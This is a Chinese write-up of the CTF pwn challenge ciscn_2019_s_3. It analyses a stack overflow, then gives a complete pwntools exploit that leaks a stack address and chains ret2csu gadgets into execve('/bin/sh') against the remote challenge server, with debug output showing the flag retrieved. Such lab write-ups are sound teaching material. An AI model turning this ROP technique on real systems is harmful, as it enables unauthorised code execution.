CTF buuoj pwn-----第12题: ciscn_2019_s_3
1. 查看基本信息
- file:
bing@bing-virtual-machine:~$ file ./ciscn_s_3
./ciscn_s_3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped
- checksec:
bing@bing-virtual-machine:~$ checksec ./ciscn_s_3
[*] '/home/bing/ciscn_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
2. 函数分析
- main函数啥也没有,
- vuln函数:两个系统调用函数,buf只有16大小,栈溢出
- read(),write()的 原型:
- read():ssizet read(int fd,const void *buf,sizet nbytes); //fd 为要读取的文件的描述符 0//buf 为要读取的数据的缓冲区地址//nbytes 为要读取的数据的字节数 read() 函数会从 fd
文件中读取 nbytes 个字节并保存到缓冲区 buf,//成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。- write()ssizet write(int fd,const void *buf,sizet nbytes); //fd 为要写入的文件的描述符 1//buf 为要写入的数据的缓冲区地址//nbytes 为要写入的数据的字节数 write() 函数会将缓冲区
buf 中的 nbytes 个字节写入文件 fd,//成功则返回写入的字节数,失败则返回 -1。
-
值得注意的是,vuln的汇编代码为:没有sub rsp ;没有leave
-
gadget函数:
mov rax, 3Bh ; 系统调用号3b(59),execve(‘bin/sh’, 0, 0)
3. 编写exp
-
payload_1 = b’/bin/sh\x00’ + b’a’*0x8 + p64(main_addr)
vuln的汇编代码中:
.text:0000000000400517 系统调用之后,
.text:0000000000400519 就是retn ,没有leave,而且.text:00000000004004EE 后面也没有sub rsp,所有一直有rsp==rbp,所以:
构造payload_1时, payload_1=b’/bin/sh\x00’ + b’a’*0x8 + p64(main_addr),16个字符后面直接就是 返回地址 main_addr),这里的 b’a’*0x8 不是往常的rbp地址,还是合法的栈上空间。 -
payload_2的栈帧分析:
from pwn import *
sh = remote('node4.buuoj.cn', 27939)
context(arch='amd64',os='linux', log_level='debug')
main_addr= 0x4004ED # 这里其实是vuln的地址, main地址会错:timeout: the monitored command dumped core
payload_1 = b'/bin/sh\x00' + b'a'*0x8 + p64(main_addr)
sh.sendline(payload_1)
sh.recv(0x20)
stack_addr = u64(sh.recv(8))
bin_sh_addr = stack_addr - 0x118 # 本地gdb调试的时候是0x128,但是远程必须0x118才能打通。??
print(hex(bin_sh_addr))
execv_addr = 0x04004E2 # gadgets函数: mov rax, 59 系统调用号59 作用是给syscall一个参数rax=59
mov_rdx_r13 = 0x400580 # _libc_csu_init() 函数通用的指令
pop_rbx_rbp_r12_r13_r14_r15_addr = 0x40059A # _libc_csu_init() 函数通用的指令
pop_rdi_addr=0x4005a3 # pop rdi ROPgadget得到的
syscall_addr = 0x400517 # 这里是调用syscall (read)指令的地址;也可以用syscall(write)的地址:0x400517
payload_2 = b'/bin/sh\x00' + b'a'*8 + p64(pop_rbx_rbp_r12_r13_r14_r15_addr) + p64(0)*2 + p64(bin_sh_addr+0x50) +p64(0)*3+ p64(mov_rdx_r13)+p64(execv_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(syscall_addr)
sh.sendline(payload_2)
sh.interactive()
4. 运行exp,获取flag
bing@bing-virtual-machine:~$ python3 ./ciscn_s_3.py
[+] Opening connection to node4.buuoj.cn on port 27939: Done
[DEBUG] Sent 0x19 bytes:
00000000 2f 62 69 6e 2f 73 68 00 61 61 61 61 61 61 61 61 │/bin│/sh·│aaaa│aaaa│
00000010 ed 04 40 00 00 00 00 00 0a │··@·│····│·│
00000019
[DEBUG] Received 0x30 bytes:
00000000 2f 62 69 6e 2f 73 68 00 61 61 61 61 61 61 61 61 │/bin│/sh·│aaaa│aaaa│
00000010 ed 04 40 00 00 00 00 00 0a 05 40 00 00 00 00 00 │··@·│····│··@·│····│
00000020 48 05 81 00 fd 7f 00 00 00 00 00 00 01 00 00 00 │H···│····│····│····│
00000030
0x7ffd00810430
[DEBUG] Sent 0x71 bytes:
00000000 2f 62 69 6e 2f 73 68 00 61 61 61 61 61 61 61 61 │/bin│/sh·│aaaa│aaaa│
00000010 9a 05 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
00000020 00 00 00 00 00 00 00 00 80 04 81 00 fd 7f 00 00 │····│····│····│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000040 00 00 00 00 00 00 00 00 80 05 40 00 00 00 00 00 │····│····│··@·│····│
00000050 e2 04 40 00 00 00 00 00 a3 05 40 00 00 00 00 00 │··@·│····│··@·│····│
00000060 30 04 81 00 fd 7f 00 00 17 05 40 00 00 00 00 00 │0···│····│··@·│····│
00000070 0a │·│
00000071
[*] Switching to interactive mode
\x00\x00\x00\x00[DEBUG] Received 0x30 bytes:
00000000 2f 62 69 6e 2f 73 68 00 61 61 61 61 61 61 61 61 │/bin│/sh·│aaaa│aaaa│
00000010 9a 05 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
00000020 00 00 00 00 00 00 00 00 80 04 81 00 fd 7f 00 00 │····│····│····│····│
00000030
/bin/sh\x00aaaaaaa\x9a\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x7f\x00
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2b bytes:
b'flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}\n'
flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}
flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}
小结
-
syscall
- 传参方式:
- 32位:传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器调用号: sysread 的调用号 为 3 syswrite 的调用号 为 4 。调用方式: 使用 int 80h 中断进行系统调用
- 64位:传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器调用号:sysread 的调用号 为 0 syswrite 的调用号 为 1 stubexecve 的调用号 为 59 stubrt_sigreturn 的调用号 为 15。调用方式: 使用 syscall 进行系统调用
- 传参方式:
-
本题目依然有疑惑,payload_2 = b’/bin/sh\x00’ + b’a’*8 + p64(pop_rbx_rbp_r12_r13_r14_r15_addr) + p64(0)*2 + p64(bin_sh_addr+0x50)
- bin_sh_addr+0x50 这里为什么要加0x50????
- bin_sh_addr = stack_addr - 0x118 # 本地gdb调试的时候是0x128,但是远程必须0x118才能打通。